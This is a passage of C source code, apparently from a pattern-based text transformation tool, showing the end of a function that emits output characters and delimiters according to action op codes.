                    fprintf(stderr, "Undefined op in action: %d\n", (int)ac);
                    break;

                } /* end switch on ops */
                cis_close(inbuf);
                break;
                } /* end PT_OP */

            case PT_WORD_DELIM:
            case PT_ID_DELIM:
                /* Ignore if in expansion of "$0" */
                if ( current_rule == NULL || action != current_rule->pattern ) {
                    /* output a space if needed as a delimiter */
                    int prevch = cos_prevch(out);
                    if ( prevch != EOF )
                        if ( ac == PT_ID_DELIM ? isident(prevch) : isalnum(prevch) )
                            cos_putch(out,' ');
                }
                break;
#if 0   /* not needed now */
            case PT_ARG_DELIM:
                if ( cos_prevch(out) != Arg_Delim )
                    cos_putch(out,Arg_Delim);
                break;
#endif

            case PT_SPACE: {
                /* output a space if the last character is not white space */
                int prevch = cos_prevch(out);
                if ( !isspace(prevch) )
                    cos_putch(out,' ');
                break;
            }

            case PT_SKIP_WHITE_SPACE:
                break;

            case PT_QUOTE:		/* use next character literally */
                ac = *as++;
            /* and fall-through */
            default:
                cos_putch(out, ac);
            } /* end switch ac */
        } /* end for */
    /* can't ever get here, but return to avoid Gnu compiler warning. */
    return as;
}